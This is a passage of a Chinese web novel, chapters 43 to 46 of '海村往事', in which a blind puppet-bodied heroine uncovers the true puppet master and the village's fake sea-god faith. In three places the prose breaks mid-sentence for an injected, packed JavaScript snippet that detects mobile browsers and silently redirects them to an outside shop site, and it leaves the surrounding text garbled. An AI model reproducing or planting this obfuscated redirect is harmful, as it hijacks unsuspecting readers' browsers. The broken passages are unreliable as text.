[您的可选对象为:] [芹秀兰/池隨冬/柏景垣] 43. 海村往事(17) [叮!检测到您已选择本次隐藏任务的协力玩家] [协力者:芹秀兰] 系统提示音在耳边消散,宁汐柔垂下眼,默默等待着一个客人的到来。 其实选择芹秀兰的原因很简单,无非就是两点。 第一,是因为芹秀兰的能力在这个副本当中足够有用。 木偶的能力比不上完整人类形态的池隨冬不说,现在还不能出现在人前。 虽然之前柏景垣说了他有一双好眼睛,可是光能看有什么用? 柏景垣就更不用说了。 当然,宁汐柔并不是在否定他的能力,而是因为经过刚刚的一番对话,他很有可能已经在村长那里留下了不太好的印象,在这样的情况下让他加入隐藏任务,得到的收益并不一定很高。 更诚实的原因还有一个,就是无论如何柏景垣都会竭尽全力地帮她,既然如此,何必浪费一个协力者名额呢? 第二个原因其实才是最重要的,那就是: 芹秀兰是纵火的人。 她为什么要纵火,现在没有人知道。 可是一个毋庸置疑的结果,就是纵火所带来的后果,导致了隐藏任务的开启。 如果不是这一场莫名其妙的大火,祭台不会损毁,如果祭台没有损毁,村长就不会提出要用傀儡师的方法来修复祭台,宁汐柔自然也就不会触发隐藏任务。 不管芹秀兰纵火的目的是什么,她所带来的这一个结果是肯定的。 当然,宁汐柔并不是打算为此投桃报李,她没有人类那些各种各样的道德伦理观,更没办法理解那些感激或者是想要报答的情感。 她只是冥冥当中觉得,或许触发这个隐藏任务,或许触发与傀儡师相关的线索,就是芹秀兰放火的目的。 宁汐柔需要和这个人建立合作,因为她需要这个人的能力。 芹秀兰,这个和池隨冬同一批进入无限游戏的中年女人,看上去不声不响,沉默寡言,总是低眉顺眼地站在角落里。 一个几乎完全没有任何特点和记忆点的人,甚至会让人下意识觉得她没有人格可言。 在宁汐柔的新手副本当中,离秽大开杀戒把在场的所有人都像柴火一样噼里啪啦砍成了好几节,可偏偏就是遗漏了这么一个人。 甚至后来在玩家中转站那个空白空间的时候,离秽给宁汐柔和年蓁蓁两个新人讲解无限游戏服务器的规则,如果不是游戏系统通报里出现了芹秀兰的名字,三人甚至谁都没发现她的存在。 离秽在整个无限游戏服务器中的玩家排行榜名列第七,她可以说是在这个游戏里最强大的一批人了。 连她都会被芹秀兰这个诡异的低存在感糊弄过去。 这完全可以说是bug级别的能力了。 宁汐柔虽然武力值颇高,可以和代号狂战士的离秽打得不相上下,但她其实不太喜欢暴力通关。 或者说她懒得自己去打。 再加上在这个副本当中,她的视力受限,行动本来就没有以前方便。 所以,能找到一个能力足够的代行者,对她来说是更合适的选择。 她最开始的考虑是柏景垣,后来成了池隨冬。 不过现在她有了一个更好的人选。 宁汐柔回到了神观,她自然是直接转身离开的,柏景垣为她带路。 至于要怎么和村长周旋,那是海陵该做的。 “你想办法混进祭台的废墟里,看看里面有什么,再回来带给我。” 宁汐柔说。 “好。” 柏景垣自然也看出来了她是想要支开自己,但也并没有多问,只是临走之前的回头忍不住说了一句: “注意安全。” 他知道自己说这句话没什么意义,也知道宁汐柔的能力远强于自己。 就算宁汐柔遇到了什么问题,也不是他柏景垣一个人就能用命简简单单去解决的。 但他就是忍不住,就是要说这一句。 或许爱就是这样,用无数千万个毫无意义的瞬间堆积而成的钻石。 “好了,现在我们可以对话了。” 随着柏景垣的离开,宁汐柔眼前的视野又一次重归了黑暗。 她对着眼前的一片黑暗开口,神情却十分笃定。 “你怎么知道我在这里?” 一个声音出现在她身后。 甚至比鬼魅还要更加悄无声息。 “我不知道。但是我猜你既然废了这么大力气把祭台都烧干净了,应该不仅仅只是为了放一把火,之后自己又躲到阴影里吧?” 宁汐柔笑了。 她说的是实话。 她不知道芹秀兰为什么要放火,但是从她在人类社会生活这么多年的经验来看,人类做事一定是有目的的。 即使是他们自己都没有发现,即使他们自己以为这只是所谓的随性而为。 但动机往往就摆在那里。 有些人看得见,有些人看不见,或者有些人只是不愿看见。 “我其实也不想这样的,但这是唯一的方法了。” 芹秀兰说。 这或许是宁汐柔第一次听见她完整地讲完一句话,也是她们在同处了两个副本之后,宁汐柔第一次听清楚了她的声音。 就是一个普通的,属于中年女人的声音。 既不清澈,也不粗糙,既不高昂,也不低沉,说不上好听,也不能算是难听。 就好像是她这个人一样,一瞬即逝,过眼便忘。 “那你不想问问我为什么选你做协力者吗?” 宁汐柔反问。 “我明明身边有着更可以信赖的人,也不缺为我鞍前马后的人,为什么选你?” “你缺。” 芹秀兰声音平淡地回答。 “……” 宁汐柔沉默了一瞬。 “如果你不缺,你不会选我。” 芹秀兰说: “你现在只是想要震慑我,让我觉得你很厉害很强大。如果我害怕你了,你就可以更简单地操控我了。” 和她一副温吞中年女人的面相十分不同,原来这个人说起话来的时候,居然非常直白,甚至可以算得上是犀利,直击痛点。 “有趣。你还有什么内心推理?” 宁汐柔挑了下眉,不置可否。 “我没有推理,也不想推理,但是我烧了那个祭台,的确是有原因的。” 芹秀兰说着,抬起头直勾勾看着宁汐柔的眼睛: “你走的方向错了,这个村子里真正重要的东西不是信仰,而是信徒。” 芹秀兰是留着头发的,她的头发干枯发黄乱糟糟的,像一团草,挂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573727|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋上,这是长期营养不良的证明。 这干枯发黄的头发常常遮住他的脸,让人看不清神情,也看不到她的眼睛。 宁汐柔一开始以为她只是想降低自己的存在感。 毕竟在所有五官中,眼睛是最重要也最引人注目的地方。 正所谓画龙点睛,有了眼睛,人的精气神才会“活”过来。 但她如今好像知道了真正的原因。 因为芹秀兰的眼睛中仿佛根本就没有瞳孔的存在,她的眼眶当中只有一片雾蒙蒙的白色。 要很仔细的去看,才能在那一片白色当中隐隐约约,看到极浅的灰色瞳孔的痕迹。 “你的眼睛……” 宁汐柔尝试去回忆在上一个副本,当中芹秀兰的眼睛是不是这样的状态。 她曾经在新人副本当中和芹秀兰打过照面,当时副本中大家都穿着中世纪贵族的衣服,芹秀兰的头发应该也不会像现在这样披散。 理论上来讲,她是看到过芹秀兰的眼睛的。 可是当尝试去回忆相关内容时,宁汐柔发现自己的记忆当中只有一片模糊的空白。 存在感真的可以低到这个程度吗? 这和不存在了有什么区别? 宁汐柔忍不住想翻白眼。 “我曾经得到过海神的赐福,祂让我有了一双新的眼睛。” 芹秀兰说。 又一个对于海神的人格化描述出现了。 这一次,芹秀兰做出了对于海神的行动描述。 “你接触过这个村子里信仰的海神?” 宁汐柔问。 “我接触的,只是海神。” 芹秀兰说。 “你是一个很聪明的姑娘,到了现在应该已经发现了这个村子里的古怪吧。” “你是说他们对于海神的信仰,还是说这个村子里没有女人?” 宁汐柔微笑。 难道又要回到封建山村?腐朽老旧,迫害无辜女人的路子上了吗? 宁汐柔忍不住想。 “是,也都不是。” 芹秀兰摇头: “这些都和信徒有关,但并不是最重要的关联。最重要的关联是——” 她的声音戛然而止。 “有人来了。” 她说着,又消失了。 并不是像玄幻电视剧中一样隐身或者消失在眼前,她明明就依然站在那里,只不过站在了一个不显眼的阴影里,专注去看的时候还是可以看到这个人的存在。 可是柏景垣推开门跑进来,在宁汐柔面前气喘吁吁的停下。 随即,他将自己手中的小书放在宁汐柔手心里,开始全神贯注用自己的技能为宁汐柔描绘,祭台内部被烧毁之后的画面。 分明在跑进来的时候,就已经下意识的扫视了四周的空间,可在这一系列动作全程,他依然没有发现芹秀兰的存在。 “姐姐,我在那个祭台底下发现了一些东西,我不太确定的是什么。” 他跑回来得匆忙,额角一层薄汗,呼吸略微急促。 “是什么?” 宁汐柔问。 柏景垣也是个老玩家了,如果只是寻常的尸体,白骨或者是相关的东西,应该不至于让他有如此表现。 “姐姐,是你,很多个你。” 他说。 44. 海村往事(18) “有很多个‘我’?” 宁汐柔很快就反应了过来。 柏景垣看到的,估计是木偶傀儡,就如同宁汐柔现在的这具身体一样。 “嗯,而且他们每一个都……没有眼睛。” 柏景垣说着,看向宁汐柔的脸。 他可能也发现了什么。 其实宁汐柔倒并不是有心瞒着他,只是一连串的事情太多,没什么时间特意私下里告诉他。 现在看上去,倒是一个时机。 “你是为了烧这些傀儡,才去祭台放火的吗?” 宁汐柔“看”向芹秀兰的方向。 一直站在角落里默默听着的芹秀兰摇了摇头,出声说: “我不知道那个祭台底下有什么,只是有人告诉我那里可以烧起来。” 在她出声的一瞬间,柏景垣才惊觉这个房间里居然还有第三个人存在,吓了一跳,声音都变了: “我!你!不是我进来的时候观察过了啊!你怎么在这儿?!” “谁告诉你的?” 宁汐柔将手放在柏景垣手心,熟练地安抚着小狗安静下来,又问芹秀兰。 “池隨冬。” 芹秀兰说。 池隨冬? 这个答案让宁汐柔有点惊讶。 说实话,她刚才已经做好了芹秀兰说就是宁汐柔自己安排了这场火的心理准备了。 但想想也合理,池隨冬好歹也是个玩家榜榜一,在副本这些年里,总不可能一点准备都没有。 从结果来看,那些顶着宁汐柔面孔的人偶,就是这场祭台大火的燃料。 “他什么时候告诉你的?” 宁汐柔问。 池隨冬既然安排了芹秀兰去放火,就说明他知道这一切。 不过,宁汐柔唯一好奇的地方是: 是十年前的池隨冬安排了这场火,还是十年后的池隨冬? “今天早上。” 芹秀兰回答。 今天早上? 十年后的池隨冬…… 是木偶向芹秀兰传递的消息? “可是我从早上一直和木偶待在一起,它没有离开过我的视线。” 柏景垣说道,很认真地强调: “我确定一次都没有过,我防着呢。总不能人人都是这位大姐吧。” 他一边说,一边定定看着芹秀兰的位置,好像怕她再一次从自己眼前消失一样。 显然,对方的这近乎无解的低存在感,让柏景垣感到十分挫败。 “不是木偶告诉我的,是池隨冬。” 芹秀兰摇头。 “木偶不就是——” 柏景垣说到一半,停了下来。 “你之前说过,木偶的眼睛很好,对吗?” 宁汐柔说。 “嗯。” 他点头。 “可是木偶傀儡的身体,是没有视力的。木头雕刻出来的身体可以和人类很相似,几乎看不出区别,甚至可以自如活动。 但是木头雕出来的眼睛,是看不见东西的。” 宁汐柔慢悠悠地说着。 “那,姐姐你也?” 柏景垣的声音中带迟疑。 宁汐柔没有说话,摸索着握住他的手腕,放在自己的眼睛上。 那只手颤抖着,似乎不敢碰到她的眼珠,但最终,还是缓慢地覆了上去。 “是木头。” 柏景垣的声音中带着恍惚,他什么都明白了: “这是傀儡木偶,那些祭台下面的也都是木偶,那你呢,你真正的身体在哪里?” 他急切起来,带着慌乱: “池隨冬的身体也成了木偶,你也成了木偶,是不是这是他当时会被困在副本里的原因?难道说你们特殊身份卡都会这样?不行,我得带你出去,我得让你出去!” 柏景垣的语速太快,甚至开始自问自答起来,宁汐柔一时间居然插不上话。 最后,还是芹秀兰默默走到了他的身后,出声: “小伙子,冷静一下。” “!” 柏景垣又被吓得一个激灵,瞪大眼睛看着芹秀兰: “这位大姐,你走路能不能出点声啊。” “老叫大姐好像有点怪怪的,要不我叫你芹姐吧?” 柏景垣又说。 宁汐柔曾经和柏景垣说起过芹秀兰和她那个诡异的能力。 如今她有意要和芹秀兰合作,柏景垣在称呼上,也得表现出对芹秀兰的尊敬。 最好还能打好关系,至少得搞明白这个诡异的技能。 最强后勤柏景垣默默想着。 “叫什么都行,这个不重要。” 芹秀兰说。 “既然你说不是木偶,那么池隨冬是用什么给你传递消息的?” 宁汐柔问。 芹秀兰忽然笑了下。 奇怪的是,她那张寡淡的面容,即使挂上一个笑脸,也依然没有那种“活”过来的感觉。 随后,她将自己两只手的衣袖都拉到了小臂以上,露出手腕和关节。 乍一看,和人类的肢体肉眼上没有任何区别,还是柏景垣眯着眼睛,才发现了一点不同。 柏景垣牵着宁汐柔的手上前,在离芹秀兰半步远的位置停下,然后将她的手心放在了芹秀兰的手肘关节上。 比人的肌肤要冰冷坚硬许多,是宁汐柔已经渐渐熟悉的手感。 是木头。 而在木头关节上,有几根看不见的透明丝线,紧紧束缚着关节。 宁汐柔一瞬间明白了芹秀兰想要表达的是什么。 那是傀儡线。 她是池隨冬的傀儡。 “傀儡师的技能很强大,他可以为自己制造出一个“傀儡”,用来承载自己的意识,甚至将自己的“玩家”身份转移到傀儡身上。” 离秽在进入副本前的嘱托再一次在宁汐柔耳边响起。 作为“傀儡师”的池隨冬,可以将自己的“玩家”身份转移到傀儡身上,也就是说,他可以将自己的傀儡伪装成“玩家”。 那么,芹秀兰到底是什么? “不对,你是玩家。在海神村的时候,所有人一起从海里出来,都是玩家身份。” 宁汐柔皱起眉。 如果芹秀兰是一个仅仅只出现在海村线的玩家,那么她的确可能是池隨冬傀儡,只是在池隨冬的技能作用下,才被系统认定为玩家。 可是她在十年前的海神村线中也出现了,她是和池隨冬同一批进入无限游戏的玩家。 那时候的池隨冬还只是个新人,没有成为“傀儡师”。 芹秀兰怎么可能是他的傀儡? 难道,是池隨冬的能力不仅仅能将自己的傀儡伪装成玩家,也能将玩家变成自己的傀儡吗? 宁汐柔的脑海中飞速闪过无数种可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582446|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性。 不,不可能,这样的能力也太可怕了。 游戏系统会给出这么bug级别的能力吗? “你们说自己是玩家,是新人,我只是没有否认。” 芹秀兰摇摇头,说。 对,芹秀兰从来没有承认过自己是玩家,她只是那样安静,沉默地站在一边。 甚至对于有关游戏的讨论,她也只问过一句:“病死的人能不能进入无限游戏”。 但是当时,不论是长袖善舞的程澎封,还是颓废摆烂的眼镜男,亦或是寡言冷淡的池隨冬,都在不知不觉中默认了她的存在。 甚至宁汐柔,也不知不觉将她视为了“玩家之一”。 但她其实从未承认过自己的玩家身份。 她只是说,自己叫做芹秀兰。 可如果芹秀兰不是玩家,她又是谁? 她只能是谁? “你是海神村的人。” 宁汐柔低声说着: “这是唯一的解释。可是,可是……” 如果芹秀兰不是玩家,那么她只可能来自海神村内部。 可如果是那样的话,为什么在他们上岛之后,海神村的人,没有一个认识芹秀兰的? “他们从来没有见过我,当然不认识我。” 芹秀兰说。 “其实,当时我也很怕,虽然海神村大部分的人都没有见过我,但是有一个人,是认识我的脸的,我很感激,他没有说出我的身份。也许,他是在报答我当初,没有说出过他的身份。” “一个人认识你的人?” 宁汐柔脑海中忽然浮现了一个名字。 “大人,村长那边坚持要按时举办祭典,希望我们尽快动身寻找傀儡师的笔记。” 海陵推门进来,不同于柏景垣,他在第一眼,就发现了站在屋子里的芹秀兰。 “你怎么在这里?” 海陵下意识问了一句,随后又猛地顿住,看向宁汐柔的方向,重重跪在地上: “大人,是我的错,我……” “她是谁?” 宁汐柔打断了他的话,她现在没有心情听其他的话。 海陵抬起头,看了一眼芹秀兰的表情,叹了口气,回答: “她叫芹秀兰,当年,她才是海神村里真正的傀儡师。” 真正的傀儡师? 什么意思? 原来那个是假的? “原来如此。” 宁汐柔喃喃道。 在海神村线中,当时的村长也曾经说过,傀儡师因为一些家庭变故,而不能再继续制作傀儡。 而当“傀儡师”出现时,一个满身酒气的颓废中年男人形象,也让玩家们轻易相信了这个设定。 可也许从一开始,一切就只是李代桃僵,是一个沽名钓誉的人,抢走了真正的“傀儡师”的荣光和功劳。 所以,当真正的傀儡师被投进大海时,冒名顶替的人,也只能装作自己“备受打击”,不能再继续创作。 因为他本来,就从来都不会雕刻傀儡。 那么池隨冬的傀儡师特殊身份卡任务又为什么会被触发? 他又为什么会成为下一个傀儡师? 而真正的傀儡师芹秀兰, 又怎么会成为池隨冬的傀儡? “看来,我们需要见一见,真正的池隨冬了。” 宁汐柔说着,眼神渐渐冷了下来。 45. 海村往事(19) “池隨冬在哪里,十年前的海神村又发生了什么?如果那个傀儡师是假的,池隨冬又是怎么成为新的傀儡师的?” 宁汐柔问: “还有,你作为真正的傀儡师,却没被人看见过,是因为你是女人吗?那村子里其他的女人,也是因为这样才从来不出现的?” 她问得快而急促,甚至带上了几分逼问的意思。 尽管宁汐柔自己不认为,也不会承认,但她确实因为“池隨冬背后搞小动作”这件事,而产生了情绪波动。 “我不知道他在哪里,他只会偶尔用傀儡线向我传达消息。十年前海神村发生那场瘟疫之前我就死了,不知道当年发生了什么。” “那个人是不是真正的傀儡师都不重要,池隨冬能成为新的傀儡师,是因为他自己制成了一个傀儡。当傀儡活过来的时候,他就会成为傀儡师。” “没有人见过我,不是因为我是女人,是因为他们见到的,都是我的傀儡,而不是我本人。” “村子里其他的女人没有不出现,她们都已经离开了这里。” 芹秀兰声音平淡,一个个回答了宁汐柔的问题。 不管讲到什么,她的声音都没有一点波动。 “你说你死在了瘟疫之前,你是怎么死的?” 宁汐柔问。 “被杀。” 芹秀兰答。 “被谁所杀?” 宁汐柔追问。 “假傀儡师,他是我的弟弟。” 芹秀兰答。 “那你是怎么活过来的?” 宁汐柔又问。 “我被制作成了傀儡,所以醒了。” 芹秀兰答。 “池隨冬是制作你的傀儡师?” 宁汐柔思索了半响,才开口。 “他手里拿着操控我的傀儡线。” 芹秀兰答。 宁汐柔突然发现一件事。 从海村相逢到现在,芹秀兰做的每一件事,说出的每一句话,都没有体现出哪怕一点个人情绪。 不管是提到她被顶替的身份,她自己的死亡,都是一如既往地面无表情。 但这种面无表情并不是冷漠或者冷酷,更不是故作镇定。 而是一种, 空白。 但芹秀兰不是一个问答机器,她的身份,她的过去,她曾经做出的选择,都是有意义和价值的。 宁汐柔想要得到的不仅仅是过去发生了什么,而是那些“发生”背后所隐藏着的东西。 一个问答机器不能帮助她获得真正的答案。 她得找到芹秀兰情绪的触发点。 可是,这个点在哪里,又是什么? “你刚才说到,村子里的女人们都离开了,她们去了哪里?” 沉吟半响,宁汐柔终于又一次开口。 “海神大人,将她们送到了更好的地方。” 这句话比想象中更有用,芹秀兰猛地抬起头,定定看着宁汐柔的眼睛。 “祂杀了她们?就像村长曾经威胁其他人那样,用海浪带走了她们?” 宁汐柔又问。 “不!你不能这么说祂!祂绝不会那样做!” 信徒不可能接受他人对自己信仰着的神提出如此恶毒的指控,芹秀兰的声音高扬起来,变得尖锐: “你绝不可以这样指控祂!你绝不可以!” “好,我不可以。” 宁汐柔被冷不丁喊了一嗓子,反而带上了点笑意,又问: “那我问问别的。你说你的眼睛是海神赐予你的,那么,祂是在什么时候赐予你的?” 芹秀兰沉默了。 她在过去三十秒中的情绪流露,几乎多余宁汐柔认识她以来的全部。 在一片静谧中,她定定看着宁汐柔的脸庞,眼泪大颗大颗地涌出来,突然,跪地嚎啕大哭起来。 “姐姐……她……哭得好惨啊。” 柏景垣凑在宁汐柔耳边,有点迷茫地说。 “嗯,我听见了。” 宁汐柔应道。 好像有点过火了。 她默默想着。 虽然一开始是希望能通过和海神相关的问题来勾起芹秀兰的情绪波动,但没想到只是两句话,就能让她变成这个样子。 至于吗? 这可是能面无表情谈起自己被亲弟弟谋杀的芹秀兰啊。 “她好像比你对海神的信仰更虔诚。” 宁汐柔将“目光”转向海陵的方向。 海陵此刻在跪在地上,听见了宁汐柔的话,膝行到她身边,抬起头,用自己的鼻尖去蹭她的手心,声音里也带着笑,还有一点点撒娇的意味: “毕竟她是大人选择的代行者,而我只是一个等待垂怜的仆人罢了……” “嫉妒吗?” 宁汐柔笑了,用手背拍拍他的脸颊。 “怎么敢呢?只想祈求大人再垂怜我一些罢了。” 海陵顺从地扬起下巴,说。 海神选定的代行者? 宁汐柔把玩着海陵柔软的脸颊肉,陷入思考中。 之前她就已经觉得,不管是海神村还是海村,对“海神”这个至高信仰的态度都是一致的奇怪。 看上去嘴上天天说着自己多么虔诚多么忠诚,可是除了嘴上说说,除了这座神观之外,他们就好像没有任何行动了。 如果木偶曾经说的,对于这个村子中海神信仰的起源年份是真的,那么他们信仰海神起码也有近百年了。 百年中,他们没有给海神塑像,可以用“不敢冒犯神明威严”来解释。 但是,这么浓郁的信仰氛围中,百年里,他们完全没有给海神创造相关的图腾吗? 连巫女海陵自己绣制的巫女服上,对于海神的表示,也只有一个简简单单的“浪花”。 这不符合常理。 信仰是艺术创作的一大摇篮,传说、图腾、歌舞、制品等等等等,都是信仰文化发展的养料,也反过来成为他们的佐证。 就像现代人类社会,人们追星的时候,会自发地进行围绕着偶像本身,进行各种创作。 神明就是最早,也最原始的偶像形象。 但是宁汐柔曾经亲眼看到了海神村内部,除了神观和祭台这两个典型的场地之外,她路过的一个个民居无论是瓦房还是草屋,都没有海神的痕迹。 至于海村内部的景象,虽然宁汐柔没有办法亲眼看到,但是据柏景垣此前的转述来看,情况也差不太多。 对于一个贫瘠落后的村落来说,他们建起的神观和祭台,的确十分显眼,可以说倾尽全村之力。 所以,宁汐柔一开始的判断中,认为这是一个信仰虔诚,氛围浓厚的村落。她对于海神村和海村的调查,也都全部以这一点为基础,呈圆心散开。 但他们真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597041|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重视这两个地方吗? 他们又真的在乎海神吗? 神观十年间几乎没有修缮,祭台重建了却是个豆腐渣工程。 石头祭台为什么能烧起来,因为只有外面一层是石头,里面根本就是空心的,才能有地方存放燃料。 信仰海神百年间,没有神像没有图腾。 一个干巴巴的传说,几个用普遍自然现象硬扯出来的神迹。 比初中生编暑假作文还要敷衍。 宁汐柔终于明白,自己究竟是从哪里开始走歪了的。 她一直在想,海神村/海村有关于海神的信仰从何而来,又是怎么样呈现。 但她最应该问的问题,第一个问题,其实是: 这个信仰,真的存在吗? [规则五:海村人人信仰海神,此为谎言] 听着系统的播报,宁汐柔笑出声来。 “怪不得……” 她喃喃说。 怪不得,她之前在海村线中触发的所有规则,都是与“巫女”强相关的,却没有一条和海神有关。 因为他们根本就不信仰海神,所谓的虔诚不过是一个硬扯出来的大旗。 但十年后的海村不信仰海神,十年前的海神村呢? 宁汐柔离开十年前的海神村线时,那个副本刚刚因为池隨冬触发的特殊身份卡任务而升级为规则类副本,当时触发的规则也只有一条: *[规则一:海神是海神村的唯一信仰]* 这个规则是真的吗? 如果这个规则是真实的,那么就意味着,海神村原本信仰海神,但是因为十年前发生的某件事,也许是突如其来的瘟疫,也许是那场没有成功的祭典。 总之,有一些事情让海神村的村民们转变了心态,他们认为信仰海神是没有意义的。 他们抛弃了自己的信仰,也抛弃了海神。 但如果是这样,宁汐柔之前发现的,在海神村信仰中的不合逻辑之处,依然存在,没有得到解决。 如果这个规则不是真实的,那么就意味着,这个村子的信仰从来都是不存在的,村长也好村民也好,都只是在借着信仰的名头,去达成自己的目的。 可他们的目的是什么? 欺骗神明,获得庇佑? 这听上去实在有些荒诞了。 “我要见到池隨冬,真正的池隨冬。” 宁汐柔看着已经停止哭泣,安静坐在地上的芹秀兰,声音认真: “我知道你能联系他,让他来见我。” “……我不能联系他,都是他联系我。” 芹秀兰的声音中依然带着嘶哑和泣音,慢吞吞地说着: “他刚才操纵了傀儡线,他想让我告诉你,他一直到在这里,从来没有离开过。” 从来没有离开过? 在哪里,在这里? 在这个村子? 在这个神观? 还是在这个房间? 可是这个房间中,哪里有能藏人的地方了? 宁汐柔默默回忆着,忽然,她的动作顿住了。 然后,她缓缓抬起头,“看”房顶的方向。 在那里,一盏白骨做的海神灯,静静地被悬挂在高处。 它的四周挂着白色的挂坠,那是人的指骨。 尽管已经只剩骨头,依然可以看出那曾经是一双极美的手,指节修长,犹如青竹。 46. 海村往事(20) “原来你在这里啊。” 宁汐柔抬头,听着屋顶传来海神灯被风吹动后,指骨发出的碰撞声,沉默半响,忽然笑了出来。 “那木偶是什么?” 她问。 这个问题当然没有得到回答。 但宁汐柔其实也并不需要回答。 “你是傀儡师,自然不会只有一个傀儡,芹秀兰是,木偶也可以是。” 宁汐柔说。 “你是合格的傀儡师,所以你的傀儡是‘活’的。” 所以他们都有眼睛,都能看见。 人类世界里有一句俗语:“画龙需点睛”。 大意差不多是说,在创作中,形态之类的外在是容易模仿和塑造的,但神态细节,是最困难,也最重要的部分。 这句话用在这里应该也没错。 傀儡的“活”与否,就是区分傀儡师“合格”的关键点。 这么说来,芹秀兰和木偶是池隨冬做出来的傀儡,因为池隨冬会“点睛”,所以他们有眼睛? 那么宁汐柔的这具躯壳天生目盲,会和她的“制作者”有关吗? “你操纵木偶,让它代替你的身份,是因为不想让我知道你现在的处境吗?” 宁汐柔对着海神灯喃喃自语,神色浮现出一点不解: “为什么?你让我进入副本救你,却一开始就对我撒谎?这么做的意义在哪里?” 即使在人类世界长大,宁汐柔依然觉得自己不了解人类。 当然觉得人类的情感和情绪都很美味,可是他们为什么会有那么多五花八门,相似却又味道不同的情绪,身为魅魔的她是想不明白的。 “他、他说……” 芹秀兰开口,诡异地沉默了半响,脸上露出一种难以言说的表情: “他这样,不好看。” 说完,房间内陷入一片沉寂。 良久之后,一直站在一边的柏景垣幽幽开口: “其实,我还挺能理解他的……” “嗯?” 宁汐柔转过头看着他,神色中的不解更加明显了。 “姐姐你想啊,你之前不是说过他长得非常好看吗?” 柏景垣说,一本正经: “他之所以能有幸得到你的垂青,显然就是因为有一张好看的脸,现在他成了这个样子,当然害怕自己会失宠啊。” 现在换成芹秀兰一脸呆滞不可置信地看着柏景垣了。 她似乎很不能理解为什么有人能把这样的理论理直气壮地说出口。 失宠?什么鬼啊! 即使是宁汐柔,在听到这一通解释的时候,也沉默了片刻,问: “即使现在是不出现就有可能会死的时候?” “说实话,如果我变成了这幅样子,可能更宁愿死吧。” 柏景垣看着吊在上面的海神灯,颇为感慨,满满恶意,毫不掩饰。 “当然,就算我自己死,我也绝对会为姐姐奋战到最后一刻,才不像有些人那么自私自利,只顾自己……” 他慢条斯理地补充了后半句。 宁汐柔默默抬手,盖在了他的嘴上。 现在不是听小狗汪汪叫撒娇的时候。 “你知道我这具躯壳是谁做的吗?” 宁汐柔问。 “……他说,是他做的,那是他最好的作品。” 芹秀兰沉默半响,回答。 巫女的躯壳是池隨冬做的? 最好的作品为什么反而没有眼睛? “那我为什么看不见?” 宁汐柔说完,自己停住了。 [规则二:所有人都知道,巫女天生目盲] 那条血色的规则再次浮现在她眼前。 在刚刚进入副本的时候,宁汐柔以为是规则夺走了她的视力。 那么,会不会现在也是因为规则的限制,宁汐柔的这副躯壳作为海村的“巫女”,所以无法拥有视力? 毕竟,所有人都知道,巫女天生目盲。 不对,不是这样。 所有人都知道的事,就一定是真的吗? 海村的所有人都知道他们“信仰”海神,都说着他们信仰海神。 但这又是真的吗? [规则五:海村人人信仰海神,此为谎言] 系统的宣告已经说明了答案。 规则二和规则五之间的区别其实很清晰。 “人人都知道”,是一个“认知”。 “此为谎言”,是一个“事实” “我没有眼睛,是因为我不能有眼睛,或者说,你不能让我有眼睛。” 宁汐柔喃喃道: “为什么不能?有了眼睛,会有什么不同?” 宁汐柔想起自己的眼睛。 那是魅魔的眼睛,与人类不同,她天生可以看清楚人类灵魂中欲望的颜色。 不了解人类情感的魅魔,依靠这些颜色去判断人心,她从未出错过。 所以,在刚刚进入副本时,宁汐柔曾经因为失去视力而陷入过一瞬间的无措。 她不知道如何判断人心,也事实证明,她也确实不善于此,不然也不至于等到副本近半了,才发现海村信仰的虚假之处。 如果进入副本的时候没有失去眼睛,宁汐柔和在村长见面的下一秒就能发现这件事。 无论是在十年前海神村线,还是十年后的海村线。 宁汐柔恍然大悟。 这就是有了眼睛会导致的不同。 “我不能在那么早的时候发现,是吗?至少我必须在第一次穿越之后,第二次穿越之前这个区间发现,这个村子信仰的虚假。” 宁汐柔笑了一声,看着悬挂在房顶上的海神灯。 “原来如此。” 宁汐柔的第一次穿越是因为她触发了“海神灯之谜”这个支线任务,触发的关键词来自于当时还在扮演“池隨冬”的木偶。 但是木偶当时的反应很有趣,它惊慌失措,好像自己做错了什么,想要阻止宁汐柔的时间穿越。 但宁汐柔现在可以确定,那是一场表演。 表演的目的,是为了让她相信,这场穿越是一场“意外”,而非时间线上的闭环。 所以,当她穿越回来的时候,她会因为自己支线任务的失败,和木偶提供的消息,再回到十年前一次。 完成这场事件的闭环。 “但是解决问题的答案不在十年前。” 宁汐柔之前已经确认过这一点。 最简单的来说,如果第二次穿越能够解决副本, 那么池隨冬在那时候就会出来, 所以也就不会出现他被困副本十年不得不寻求宁汐柔帮助的情况, 宁汐柔也就不会进入这个副本。 可如果宁汐柔不进入副本,她不会穿越,那么池隨冬也出不来…… 不行,不能再想了,时间线完 